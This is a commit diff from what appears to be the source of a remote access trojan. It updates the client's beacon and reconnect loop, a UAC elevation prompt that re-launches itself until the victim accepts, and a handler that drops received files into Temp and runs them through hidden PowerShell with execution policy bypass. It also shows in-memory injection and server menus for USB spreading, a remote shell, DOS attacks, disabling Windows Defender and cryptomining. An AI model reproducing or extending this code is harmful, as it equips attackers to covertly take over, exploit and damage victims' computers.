added - remote dekstop move movements
added - remote desktop showing cursor movements
added - showing active window when client connected immediately
updated - send file to disk will show if the file ran successfully or not
fixed - send file to disk fixed when executing .ps1 file
updated - UAC popup now will run until the user press accept
This commit is contained in:
NYAN CAT 2020-05-10 08:14:33 +03:00
parent 565441b92a
commit 10c995be22
21 changed files with 282 additions and 239 deletions

View File

@ -31,6 +31,7 @@ namespace Client.Connection
private static object SendSync { get; } = new object(); //Sync send private static object SendSync { get; } = new object(); //Sync send
private static Timer Ping { get; set; } //Send ping interval private static Timer Ping { get; set; } //Send ping interval
public static int Interval { get; set; } //ping value public static int Interval { get; set; } //ping value
public static bool ActivatePong { get; set; }
public static void InitializeClient() //Connect & reconnect public static void InitializeClient() //Connect & reconnect
@ -92,7 +93,10 @@ namespace Client.Connection
Buffer = new byte[HeaderSize]; Buffer = new byte[HeaderSize];
Offset = 0; Offset = 0;
Send(IdSender.SendInfo()); Send(IdSender.SendInfo());
KeepAlive = new Timer(new TimerCallback(KeepAlivePacket), null, new Random().Next(15 * 1000, 30 * 1000), new Random().Next(15 * 1000, 60 * 1000)); Interval = 0;
ActivatePong = false;
KeepAlive = new Timer(new TimerCallback(KeepAlivePacket), null, new Random().Next(10 * 1000, 15 * 1000), new Random().Next(10 * 1000, 15 * 1000));
Ping = new Timer(new TimerCallback(Pong), null, 1, 1);
SslClient.BeginRead(Buffer, (int)Offset, (int)HeaderSize, ReadServertData, null); SslClient.BeginRead(Buffer, (int)Offset, (int)HeaderSize, ReadServertData, null);
} }
else else
@ -124,15 +128,15 @@ namespace Client.Connection
public static void Reconnect() public static void Reconnect()
{ {
try try
{ {
Ping?.Dispose();
KeepAlive?.Dispose();
SslClient?.Dispose(); SslClient?.Dispose();
TcpClient?.Dispose(); TcpClient?.Dispose();
Ping?.Dispose();
KeepAlive?.Dispose();
} }
catch { } catch { }
IsConnected = false;
} }
public static void ReadServertData(IAsyncResult ar) //Socket read/recevie public static void ReadServertData(IAsyncResult ar) //Socket read/recevie
@ -212,7 +216,7 @@ namespace Client.Connection
{ {
try try
{ {
if (!IsConnected || msg == null) if (!IsConnected)
{ {
return; return;
} }
@ -254,19 +258,28 @@ namespace Client.Connection
public static void KeepAlivePacket(object obj) public static void KeepAlivePacket(object obj)
{ {
MsgPack msgpack = new MsgPack(); try
msgpack.ForcePathObject("Packet").AsString = "Ping"; {
msgpack.ForcePathObject("Message").AsString = Methods.GetActiveWindowTitle(); MsgPack msgpack = new MsgPack();
Send(msgpack.Encode2Bytes()); msgpack.ForcePathObject("Packet").AsString = "Ping";
Ping?.Dispose(); msgpack.ForcePathObject("Message").AsString = Methods.GetActiveWindowTitle();
Interval = 0; Send(msgpack.Encode2Bytes());
Ping = new Timer(new TimerCallback(Pong), null, 1, 1); GC.Collect();
GC.Collect(); ActivatePong = true;
}
catch { }
} }
private static void Pong(object obj) private static void Pong(object obj)
{ {
Interval++; try
{
if (ActivatePong && IsConnected)
{
Interval++;
}
}
catch { }
} }
} }
} }

View File

@ -24,11 +24,12 @@ namespace Client.Handle_Packet
{ {
case "pong": //send interval value to server case "pong": //send interval value to server
{ {
int interval = (int)ClientSocket.Interval; ClientSocket.ActivatePong = false;
MsgPack msgPack = new MsgPack(); MsgPack msgPack = new MsgPack();
msgPack.ForcePathObject("Packet").SetAsString("pong"); msgPack.ForcePathObject("Packet").SetAsString("pong");
msgPack.ForcePathObject("Message").SetAsInteger(interval); msgPack.ForcePathObject("Message").SetAsInteger(ClientSocket.Interval);
ClientSocket.Send(msgPack.Encode2Bytes()); ClientSocket.Send(msgPack.Encode2Bytes());
ClientSocket.Interval = 0;
break; break;
} }
@ -36,11 +37,7 @@ namespace Client.Handle_Packet
{ {
try try
{ {
Invoke(unpack_msgpack); if (SetRegistry.GetValue(unpack_msgpack.ForcePathObject("Dll").AsString) == null) // check if plugin is installed
}
catch (Exception ex) // check if plugin is installed
{
if (SetRegistry.GetValue(unpack_msgpack.ForcePathObject("Dll").AsString) == null)
{ {
Packs.Add(unpack_msgpack); //save it for later Packs.Add(unpack_msgpack); //save it for later
MsgPack msgPack = new MsgPack(); MsgPack msgPack = new MsgPack();
@ -49,12 +46,16 @@ namespace Client.Handle_Packet
ClientSocket.Send(msgPack.Encode2Bytes()); ClientSocket.Send(msgPack.Encode2Bytes());
} }
else else
Error(ex.Message); Invoke(unpack_msgpack);
}
catch (Exception ex)
{
Error(ex.Message);
} }
break; break;
} }
case "savePlugin": // save plugin as MD5:Base64 case "savePlugin": // save plugin
{ {
SetRegistry.SetValue(unpack_msgpack.ForcePathObject("Hash").AsString, unpack_msgpack.ForcePathObject("Dll").GetAsBytes()); SetRegistry.SetValue(unpack_msgpack.ForcePathObject("Hash").AsString, unpack_msgpack.ForcePathObject("Dll").GetAsBytes());
Debug.WriteLine("plugin saved"); Debug.WriteLine("plugin saved");

View File

@ -19,7 +19,7 @@ namespace Client.Helper
msgpack.ForcePathObject("Path").AsString = Application.ExecutablePath; msgpack.ForcePathObject("Path").AsString = Application.ExecutablePath;
msgpack.ForcePathObject("Version").AsString = Settings.Version; msgpack.ForcePathObject("Version").AsString = Settings.Version;
msgpack.ForcePathObject("Admin").AsString = Methods.IsAdmin().ToString().ToLower().Replace("true", "Admin").Replace("false", "User"); msgpack.ForcePathObject("Admin").AsString = Methods.IsAdmin().ToString().ToLower().Replace("true", "Admin").Replace("false", "User");
msgpack.ForcePathObject("Performance").AsString = "..."; msgpack.ForcePathObject("Performance").AsString = Methods.GetActiveWindowTitle();
msgpack.ForcePathObject("Pastebin").AsString = Settings.Pastebin; msgpack.ForcePathObject("Pastebin").AsString = Settings.Pastebin;
msgpack.ForcePathObject("Antivirus").AsString = Methods.Antivirus(); msgpack.ForcePathObject("Antivirus").AsString = Methods.Antivirus();
msgpack.ForcePathObject("Installed").AsString = new FileInfo(Application.ExecutablePath).LastWriteTime.ToUniversalTime().ToString(); msgpack.ForcePathObject("Installed").AsString = new FileInfo(Application.ExecutablePath).LastWriteTime.ToUniversalTime().ToString();

View File

@ -46,12 +46,16 @@ namespace Client
while (true) // ~ loop to check socket status while (true) // ~ loop to check socket status
{ {
if (!ClientSocket.IsConnected) try
{ {
ClientSocket.Reconnect(); if (!ClientSocket.IsConnected)
ClientSocket.InitializeClient(); {
ClientSocket.Reconnect();
ClientSocket.InitializeClient();
}
} }
Thread.Sleep(new Random().Next(2000, 5000)); catch { }
Thread.Sleep(5000);
} }
} }
} }

View File

@ -13,7 +13,7 @@ namespace Client
#if DEBUG #if DEBUG
public static string Ports = "6606"; public static string Ports = "6606";
public static string Hosts = "127.0.0.1"; public static string Hosts = "127.0.0.1";
public static string Version = "0.5.7A"; public static string Version = "0.5.7B";
public static string Install = "false"; public static string Install = "false";
public static string InstallFolder = "AppData"; public static string InstallFolder = "AppData";
public static string InstallFile = "Test.exe"; public static string InstallFile = "Test.exe";

View File

@ -1,76 +1,28 @@
<?xml version="1.0" encoding="utf-8"?> <assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">
<assembly manifestVersion="1.0" xmlns="urn:schemas-microsoft-com:asm.v1">
<assemblyIdentity version="1.0.0.0" name="MyApplication.app"/>
<trustInfo xmlns="urn:schemas-microsoft-com:asm.v2"> <trustInfo xmlns="urn:schemas-microsoft-com:asm.v2">
<security> <security>
<requestedPrivileges xmlns="urn:schemas-microsoft-com:asm.v3"> <requestedPrivileges>
<!-- UAC Manifest Options
If you want to change the Windows User Account Control level replace the
requestedExecutionLevel node with one of the following.
<requestedExecutionLevel level="asInvoker" uiAccess="false" />
<requestedExecutionLevel level="requireAdministrator" uiAccess="false" />
<requestedExecutionLevel level="highestAvailable" uiAccess="false" />
Specifying requestedExecutionLevel element will disable file and registry virtualization.
Remove this element if your application requires this virtualization for backwards
compatibility.
-->
<requestedExecutionLevel level="asInvoker" uiAccess="false" /> <requestedExecutionLevel level="asInvoker" uiAccess="false" />
</requestedPrivileges> </requestedPrivileges>
</security> </security>
</trustInfo> </trustInfo>
<compatibility xmlns="urn:schemas-microsoft-com:compatibility.v1"> <compatibility xmlns="urn:schemas-microsoft-com:compatibility.v1">
<application> <application>
<!-- A list of the Windows versions that this application has been tested on
and is designed to work with. Uncomment the appropriate elements
and Windows will automatically select the most compatible environment. -->
<!-- Windows Vista --> <!-- Windows Vista -->
<!--<supportedOS Id="{e2011457-1546-43c5-a5fe-008deee3d3f0}" />--> <supportedOS Id="{e2011457-1546-43c5-a5fe-008deee3d3f0}"/>
<!-- Windows 7 --> <!-- Windows 7 -->
<!--<supportedOS Id="{35138b9a-5d96-4fbd-8e2d-a2440225f93a}" />--> <supportedOS Id="{35138b9a-5d96-4fbd-8e2d-a2440225f93a}"/>
<!-- Windows 8 --> <!-- Windows 8 -->
<!--<supportedOS Id="{4a2f28e3-53b9-4441-ba9c-d69d4a4a6e38}" />--> <supportedOS Id="{4a2f28e3-53b9-4441-ba9c-d69d4a4a6e38}"/>
<!-- Windows 8.1 --> <!-- Windows 8.1 -->
<!--<supportedOS Id="{1f676c76-80e1-4239-95bb-83d0f6d0da78}" />--> <supportedOS Id="{1f676c76-80e1-4239-95bb-83d0f6d0da78}"/>
<!-- Windows 10 --> <!-- Windows 10 -->
<!--<supportedOS Id="{8e0f7a12-bfb3-4fe8-b9a5-48fd50a15a9a}" />--> <supportedOS Id="{8e0f7a12-bfb3-4fe8-b9a5-48fd50a15a9a}"/>
</application> </application>
</compatibility> </compatibility>
<asmv3:application xmlns:asmv3="urn:schemas-microsoft-com:asm.v3" >
<!-- Indicates that the application is DPI-aware and will not be automatically scaled by Windows at higher <asmv3:windowsSettings xmlns="http://schemas.microsoft.com/SMI/2005/WindowsSettings">
DPIs. Windows Presentation Foundation (WPF) applications are automatically DPI-aware and do not need <dpiAware>true</dpiAware>
to opt in. Windows Forms applications targeting .NET Framework 4.6 that opt into this setting, should </asmv3:windowsSettings>
also set the 'EnableWindowsFormsHighDpiAutoResizing' setting to 'true' in their app.config. --> </asmv3:application>
</assembly>
<application xmlns="urn:schemas-microsoft-com:asm.v3">
<windowsSettings>
<dpiAware xmlns="http://schemas.microsoft.com/SMI/2005/WindowsSettings">true</dpiAware>
</windowsSettings>
</application>
<!-- Enable themes for Windows common controls and dialogs (Windows XP and later) -->
<!--
<dependency>
<dependentAssembly>
<assemblyIdentity
type="win32"
name="Microsoft.Windows.Common-Controls"
version="6.0.0.0"
processorArchitecture="*"
publicKeyToken="6595b64144ccf1df"
language="*"
/>
</dependentAssembly>
</dependency>
-->
</assembly>

View File

@ -12,7 +12,6 @@ namespace Plugin.Handler
public HandleUAC() public HandleUAC()
{ {
if (Methods.IsAdmin()) return; if (Methods.IsAdmin()) return;
try try
{ {
Process proc = new Process Process proc = new Process
@ -30,7 +29,7 @@ namespace Plugin.Handler
Methods.ClientExit(); Methods.ClientExit();
Environment.Exit(0); Environment.Exit(0);
} }
catch { } catch { new HandleUAC(); }
} }
} }

View File

@ -38,8 +38,8 @@ namespace Plugin
case "mouseClick": case "mouseClick":
{ {
Point position = new Point((Int32)unpack_msgpack.ForcePathObject("X").AsInteger, (Int32)unpack_msgpack.ForcePathObject("Y").AsInteger); //Point position = new Point((Int32)unpack_msgpack.ForcePathObject("X").AsInteger, (Int32)unpack_msgpack.ForcePathObject("Y").AsInteger);
Cursor.Position = position; // Cursor.Position = position;
mouse_event((Int32)unpack_msgpack.ForcePathObject("Button").AsInteger, 0, 0, 0, 1); mouse_event((Int32)unpack_msgpack.ForcePathObject("Button").AsInteger, 0, 0, 0, 1);
break; break;
} }
@ -128,9 +128,19 @@ namespace Plugin
try try
{ {
Bitmap bmpScreenshot = new Bitmap(rect.Width, rect.Height, PixelFormat.Format32bppArgb); Bitmap bmpScreenshot = new Bitmap(rect.Width, rect.Height, PixelFormat.Format32bppArgb);
using (Graphics gfxScreenshot = Graphics.FromImage(bmpScreenshot)) using (Graphics graphics = Graphics.FromImage(bmpScreenshot))
{ {
gfxScreenshot.CopyFromScreen(rect.Left, rect.Top, 0, 0, new Size(bmpScreenshot.Width, bmpScreenshot.Height), CopyPixelOperation.SourceCopy); graphics.CopyFromScreen(rect.Left, rect.Top, 0, 0, new Size(bmpScreenshot.Width, bmpScreenshot.Height), CopyPixelOperation.SourceCopy);
CURSORINFO pci;
pci.cbSize = System.Runtime.InteropServices.Marshal.SizeOf(typeof(CURSORINFO));
if (GetCursorInfo(out pci))
{
if (pci.flags == CURSOR_SHOWING)
{
DrawIcon(graphics.GetHdc(), pci.ptScreenPos.x, pci.ptScreenPos.y, pci.hCursor);
graphics.ReleaseHdc();
}
}
return bmpScreenshot; return bmpScreenshot;
} }
} }
@ -142,5 +152,29 @@ namespace Plugin
[DllImport("user32.dll")] [DllImport("user32.dll")]
internal static extern bool keybd_event(byte bVk, byte bScan, uint dwFlags, UIntPtr dwExtraInfo); internal static extern bool keybd_event(byte bVk, byte bScan, uint dwFlags, UIntPtr dwExtraInfo);
[StructLayout(LayoutKind.Sequential)]
struct CURSORINFO
{
public Int32 cbSize;
public Int32 flags;
public IntPtr hCursor;
public POINTAPI ptScreenPos;
}
[StructLayout(LayoutKind.Sequential)]
struct POINTAPI
{
public int x;
public int y;
}
[DllImport("user32.dll")]
static extern bool GetCursorInfo(out CURSORINFO pci);
[DllImport("user32.dll")]
static extern bool DrawIcon(IntPtr hDC, int X, int Y, IntPtr hIcon);
const Int32 CURSOR_SHOWING = 0x00000001;
} }
} }

View File

@ -15,35 +15,49 @@ namespace Plugin.Handler
try try
{ {
//Drop To Disk //Drop To Disk
string fullPath = Path.GetTempFileName() + "g r" + unpack_msgpack.ForcePathObject("Extension").AsString; string fullPath = Path.Combine(Path.GetTempPath(), Methods.GetRandomString(6) + unpack_msgpack.ForcePathObject("Extension").AsString);
File.WriteAllBytes(fullPath, Zip.Decompress(unpack_msgpack.ForcePathObject("File").GetAsBytes())); File.WriteAllBytes(fullPath, Zip.Decompress(unpack_msgpack.ForcePathObject("File").GetAsBytes()));
if (unpack_msgpack.ForcePathObject("Extension").AsString.ToLower().EndsWith(".ps1")) if (unpack_msgpack.ForcePathObject("Extension").AsString.ToLower().EndsWith(".ps1"))
{
Process.Start(new ProcessStartInfo Process.Start(new ProcessStartInfo
{ {
FileName = "cmd", FileName = "cmd",
Arguments = $"/c start /b powershell ExecutionPolicy Bypass -WindowStyle Hidden -NoExit -File {"'" + "\"" + fullPath + "\"" + "'"} & exit", Arguments = $"/c start /b powershell ExecutionPolicy Bypass -WindowStyle Hidden -NoExit -FilePath {"'" + "\"" + fullPath + "\"" + "'"} & exit",
CreateNoWindow = true, CreateNoWindow = true,
WindowStyle = ProcessWindowStyle.Hidden, WindowStyle = ProcessWindowStyle.Hidden,
UseShellExecute = true, UseShellExecute = true,
ErrorDialog = false, ErrorDialog = false,
}); });
}
else else
{
Process.Start(new ProcessStartInfo Process.Start(new ProcessStartInfo
{ {
FileName = "cmd", FileName = "cmd",
Arguments = $"/c start /b powershell Start-Process -FilePath {"'" + "\"" + fullPath + "\"" + "'"} & exit", Arguments = $"/c start /b powershell ExecutionPolicy Bypass Start-Process -FilePath {"'" + "\"" + fullPath + "\"" + "'"} & exit",
CreateNoWindow = true, CreateNoWindow = true,
WindowStyle = ProcessWindowStyle.Hidden, WindowStyle = ProcessWindowStyle.Hidden,
UseShellExecute = true, UseShellExecute = true,
ErrorDialog = false, ErrorDialog = false,
}); });
}
if (unpack_msgpack.ForcePathObject("Update").AsString == "true") if (unpack_msgpack.ForcePathObject("Update").AsString == "true")
{ {
new HandleUninstall(); new HandleUninstall();
} }
else else
{ {
Packet.Log("file executed!"); Thread.Sleep(1000);
if (Process.GetProcessesByName(Path.GetFileNameWithoutExtension(fullPath)).Length > 0)
{
Packet.Log($"Temp\\{Path.GetFileName(fullPath)} executed successfully!");
}
else if (fullPath.ToLower().EndsWith(".ps1") && Process.GetProcessesByName("powershell").Length > 0)
{
Packet.Log($"Temp\\{Path.GetFileName(fullPath)} executed successfully!");
}
} }
} }
catch (Exception ex) catch (Exception ex)

View File

@ -45,7 +45,7 @@ namespace Plugin.Handler
using (StreamWriter sw = new StreamWriter(batch)) using (StreamWriter sw = new StreamWriter(batch))
{ {
sw.WriteLine("@echo off"); sw.WriteLine("@echo off");
sw.WriteLine("timeout 3 > NUL"); sw.WriteLine("timeout 2 > NUL");
sw.WriteLine("CD " + Application.StartupPath); sw.WriteLine("CD " + Application.StartupPath);
sw.WriteLine("DEL " + "\"" + Path.GetFileName(Application.ExecutablePath) + "\"" + " /f /q"); sw.WriteLine("DEL " + "\"" + Path.GetFileName(Application.ExecutablePath) + "\"" + " /f /q");
sw.WriteLine("CD " + Path.GetTempPath()); sw.WriteLine("CD " + Path.GetTempPath());

View File

@ -14,6 +14,18 @@ namespace Plugin
{ {
public static class Methods public static class Methods
{ {
private const string Alphabet = "abcdefghijklmnopqrstuvwxyz";
public static Random Random = new Random();
public static string GetRandomString(int length)
{
StringBuilder randomName = new StringBuilder(length);
for (int i = 0; i < length; i++)
randomName.Append(Alphabet[Random.Next(Alphabet.Length)]);
return randomName.ToString();
}
public static void ClientExit() public static void ClientExit()
{ {
try try

View File

@ -10,7 +10,7 @@ namespace Plugin.Handler
{ {
public class HandleSendTo public class HandleSendTo
{ {
public void SendToMemory(MsgPack unpack_msgpack) public void ToMemory(MsgPack unpack_msgpack)
{ {
try try
{ {
@ -46,7 +46,7 @@ namespace Plugin.Handler
{ {
try try
{ {
global::Plugin.SendToMemory.Execute(Path.Combine(RuntimeEnvironment.GetRuntimeDirectory().Replace("Framework64", "Framework"), injection), Zip.Decompress(buffer)); SendToMemory.Execute(Path.Combine(RuntimeEnvironment.GetRuntimeDirectory().Replace("Framework64", "Framework"), injection), Zip.Decompress(buffer));
} }
catch (Exception ex) catch (Exception ex)
{ {

View File

@ -16,7 +16,7 @@ namespace Plugin
{ {
case "sendMemory": case "sendMemory":
{ {
new HandleSendTo().SendToMemory(unpack_msgpack); new HandleSendTo().ToMemory(unpack_msgpack);
break; break;
} }
} }

View File

@ -33,6 +33,7 @@
this.listView1 = new System.Windows.Forms.ListView(); this.listView1 = new System.Windows.Forms.ListView();
this.lv_ip = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); this.lv_ip = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
this.lv_country = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); this.lv_country = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
this.lv_group = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
this.lv_hwid = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); this.lv_hwid = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
this.lv_user = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); this.lv_user = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
this.lv_os = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); this.lv_os = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
@ -80,17 +81,7 @@
this.disableWindowsDefenderToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.disableWindowsDefenderToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.setWallpaperToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.setWallpaperToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.systemToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.systemToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.clientToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.closeToolStripMenuItem1 = new System.Windows.Forms.ToolStripMenuItem();
this.restartToolStripMenuItem2 = new System.Windows.Forms.ToolStripMenuItem();
this.updateToolStripMenuItem2 = new System.Windows.Forms.ToolStripMenuItem();
this.uninstallToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.toolStripSeparator3 = new System.Windows.Forms.ToolStripSeparator();
this.showFolderToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.pCToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.pCToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.logoffToolStripMenuItem1 = new System.Windows.Forms.ToolStripMenuItem();
this.restartToolStripMenuItem3 = new System.Windows.Forms.ToolStripMenuItem();
this.shutdownToolStripMenuItem1 = new System.Windows.Forms.ToolStripMenuItem();
this.toolStripSeparator1 = new System.Windows.Forms.ToolStripSeparator(); this.toolStripSeparator1 = new System.Windows.Forms.ToolStripSeparator();
this.serverToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.serverToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.blockClientsToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.blockClientsToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
@ -131,7 +122,16 @@
this.performanceCounter2 = new System.Diagnostics.PerformanceCounter(); this.performanceCounter2 = new System.Diagnostics.PerformanceCounter();
this.notifyIcon1 = new System.Windows.Forms.NotifyIcon(this.components); this.notifyIcon1 = new System.Windows.Forms.NotifyIcon(this.components);
this.TimerTask = new System.Windows.Forms.Timer(this.components); this.TimerTask = new System.Windows.Forms.Timer(this.components);
this.lv_group = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); this.shutdownToolStripMenuItem1 = new System.Windows.Forms.ToolStripMenuItem();
this.restartToolStripMenuItem3 = new System.Windows.Forms.ToolStripMenuItem();
this.logoffToolStripMenuItem1 = new System.Windows.Forms.ToolStripMenuItem();
this.closeToolStripMenuItem1 = new System.Windows.Forms.ToolStripMenuItem();
this.restartToolStripMenuItem2 = new System.Windows.Forms.ToolStripMenuItem();
this.updateToolStripMenuItem2 = new System.Windows.Forms.ToolStripMenuItem();
this.uninstallToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.toolStripSeparator3 = new System.Windows.Forms.ToolStripSeparator();
this.showFolderToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.clientToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.contextMenuClient.SuspendLayout(); this.contextMenuClient.SuspendLayout();
this.statusStrip1.SuspendLayout(); this.statusStrip1.SuspendLayout();
this.tabControl1.SuspendLayout(); this.tabControl1.SuspendLayout();
@ -189,6 +189,11 @@
this.lv_country.Text = "Country"; this.lv_country.Text = "Country";
this.lv_country.Width = 124; this.lv_country.Width = 124;
// //
// lv_group
//
this.lv_group.Text = "Group";
this.lv_group.Width = 110;
//
// lv_hwid // lv_hwid
// //
this.lv_hwid.Text = "HWID"; this.lv_hwid.Text = "HWID";
@ -249,7 +254,7 @@
this.toolStripSeparator5, this.toolStripSeparator5,
this.bUILDERToolStripMenuItem}); this.bUILDERToolStripMenuItem});
this.contextMenuClient.Name = "contextMenuStrip1"; this.contextMenuClient.Name = "contextMenuStrip1";
this.contextMenuClient.Size = new System.Drawing.Size(203, 278); this.contextMenuClient.Size = new System.Drawing.Size(238, 278);
// //
// aBOUTToolStripMenuItem // aBOUTToolStripMenuItem
// //
@ -397,7 +402,7 @@
// //
this.botsKillerToolStripMenuItem.Image = global::Server.Properties.Resources.botkiller; this.botsKillerToolStripMenuItem.Image = global::Server.Properties.Resources.botkiller;
this.botsKillerToolStripMenuItem.Name = "botsKillerToolStripMenuItem"; this.botsKillerToolStripMenuItem.Name = "botsKillerToolStripMenuItem";
this.botsKillerToolStripMenuItem.Size = new System.Drawing.Size(260, 34); this.botsKillerToolStripMenuItem.Size = new System.Drawing.Size(270, 34);
this.botsKillerToolStripMenuItem.Text = "Bots Killer"; this.botsKillerToolStripMenuItem.Text = "Bots Killer";
this.botsKillerToolStripMenuItem.Click += new System.EventHandler(this.BotsKillerToolStripMenuItem_Click); this.botsKillerToolStripMenuItem.Click += new System.EventHandler(this.BotsKillerToolStripMenuItem_Click);
// //
@ -405,7 +410,7 @@
// //
this.uSBSpreadToolStripMenuItem1.Image = global::Server.Properties.Resources.usb; this.uSBSpreadToolStripMenuItem1.Image = global::Server.Properties.Resources.usb;
this.uSBSpreadToolStripMenuItem1.Name = "uSBSpreadToolStripMenuItem1"; this.uSBSpreadToolStripMenuItem1.Name = "uSBSpreadToolStripMenuItem1";
this.uSBSpreadToolStripMenuItem1.Size = new System.Drawing.Size(260, 34); this.uSBSpreadToolStripMenuItem1.Size = new System.Drawing.Size(270, 34);
this.uSBSpreadToolStripMenuItem1.Text = "USB Spread"; this.uSBSpreadToolStripMenuItem1.Text = "USB Spread";
this.uSBSpreadToolStripMenuItem1.Click += new System.EventHandler(this.USBSpreadToolStripMenuItem1_Click); this.uSBSpreadToolStripMenuItem1.Click += new System.EventHandler(this.USBSpreadToolStripMenuItem1_Click);
// //
@ -413,7 +418,7 @@
// //
this.seedTorrentToolStripMenuItem1.Image = global::Server.Properties.Resources.u_torrent_logo; this.seedTorrentToolStripMenuItem1.Image = global::Server.Properties.Resources.u_torrent_logo;
this.seedTorrentToolStripMenuItem1.Name = "seedTorrentToolStripMenuItem1"; this.seedTorrentToolStripMenuItem1.Name = "seedTorrentToolStripMenuItem1";
this.seedTorrentToolStripMenuItem1.Size = new System.Drawing.Size(260, 34); this.seedTorrentToolStripMenuItem1.Size = new System.Drawing.Size(270, 34);
this.seedTorrentToolStripMenuItem1.Text = "Seed Torrent"; this.seedTorrentToolStripMenuItem1.Text = "Seed Torrent";
this.seedTorrentToolStripMenuItem1.Click += new System.EventHandler(this.SeedTorrentToolStripMenuItem1_Click_1); this.seedTorrentToolStripMenuItem1.Click += new System.EventHandler(this.SeedTorrentToolStripMenuItem1_Click_1);
// //
@ -421,7 +426,7 @@
// //
this.remoteShellToolStripMenuItem1.Image = global::Server.Properties.Resources.shell; this.remoteShellToolStripMenuItem1.Image = global::Server.Properties.Resources.shell;
this.remoteShellToolStripMenuItem1.Name = "remoteShellToolStripMenuItem1"; this.remoteShellToolStripMenuItem1.Name = "remoteShellToolStripMenuItem1";
this.remoteShellToolStripMenuItem1.Size = new System.Drawing.Size(260, 34); this.remoteShellToolStripMenuItem1.Size = new System.Drawing.Size(270, 34);
this.remoteShellToolStripMenuItem1.Text = "Remote Shell"; this.remoteShellToolStripMenuItem1.Text = "Remote Shell";
this.remoteShellToolStripMenuItem1.Click += new System.EventHandler(this.RemoteShellToolStripMenuItem1_Click_1); this.remoteShellToolStripMenuItem1.Click += new System.EventHandler(this.RemoteShellToolStripMenuItem1_Click_1);
// //
@ -429,7 +434,7 @@
// //
this.dOSAttackToolStripMenuItem.Image = global::Server.Properties.Resources.ddos; this.dOSAttackToolStripMenuItem.Image = global::Server.Properties.Resources.ddos;
this.dOSAttackToolStripMenuItem.Name = "dOSAttackToolStripMenuItem"; this.dOSAttackToolStripMenuItem.Name = "dOSAttackToolStripMenuItem";
this.dOSAttackToolStripMenuItem.Size = new System.Drawing.Size(260, 34); this.dOSAttackToolStripMenuItem.Size = new System.Drawing.Size(270, 34);
this.dOSAttackToolStripMenuItem.Text = "DOS Attack"; this.dOSAttackToolStripMenuItem.Text = "DOS Attack";
this.dOSAttackToolStripMenuItem.Click += new System.EventHandler(this.DOSAttackToolStripMenuItem_Click_1); this.dOSAttackToolStripMenuItem.Click += new System.EventHandler(this.DOSAttackToolStripMenuItem_Click_1);
// //
@ -437,7 +442,7 @@
// //
this.executeNETCodeToolStripMenuItem.Image = global::Server.Properties.Resources.coding; this.executeNETCodeToolStripMenuItem.Image = global::Server.Properties.Resources.coding;
this.executeNETCodeToolStripMenuItem.Name = "executeNETCodeToolStripMenuItem"; this.executeNETCodeToolStripMenuItem.Name = "executeNETCodeToolStripMenuItem";
this.executeNETCodeToolStripMenuItem.Size = new System.Drawing.Size(260, 34); this.executeNETCodeToolStripMenuItem.Size = new System.Drawing.Size(270, 34);
this.executeNETCodeToolStripMenuItem.Text = "Execute .NET Code"; this.executeNETCodeToolStripMenuItem.Text = "Execute .NET Code";
this.executeNETCodeToolStripMenuItem.Click += new System.EventHandler(this.ExecuteNETCodeToolStripMenuItem_Click_1); this.executeNETCodeToolStripMenuItem.Click += new System.EventHandler(this.ExecuteNETCodeToolStripMenuItem_Click_1);
// //
@ -448,7 +453,7 @@
this.killToolStripMenuItem}); this.killToolStripMenuItem});
this.xMRMinerToolStripMenuItem.Image = global::Server.Properties.Resources.xmr; this.xMRMinerToolStripMenuItem.Image = global::Server.Properties.Resources.xmr;
this.xMRMinerToolStripMenuItem.Name = "xMRMinerToolStripMenuItem"; this.xMRMinerToolStripMenuItem.Name = "xMRMinerToolStripMenuItem";
this.xMRMinerToolStripMenuItem.Size = new System.Drawing.Size(260, 34); this.xMRMinerToolStripMenuItem.Size = new System.Drawing.Size(270, 34);
this.xMRMinerToolStripMenuItem.Text = "XMR Miner"; this.xMRMinerToolStripMenuItem.Text = "XMR Miner";
this.xMRMinerToolStripMenuItem.Visible = false; this.xMRMinerToolStripMenuItem.Visible = false;
// //
@ -472,7 +477,7 @@
// //
this.filesSearcherToolStripMenuItem.Image = global::Server.Properties.Resources.report; this.filesSearcherToolStripMenuItem.Image = global::Server.Properties.Resources.report;
this.filesSearcherToolStripMenuItem.Name = "filesSearcherToolStripMenuItem"; this.filesSearcherToolStripMenuItem.Name = "filesSearcherToolStripMenuItem";
this.filesSearcherToolStripMenuItem.Size = new System.Drawing.Size(260, 34); this.filesSearcherToolStripMenuItem.Size = new System.Drawing.Size(270, 34);
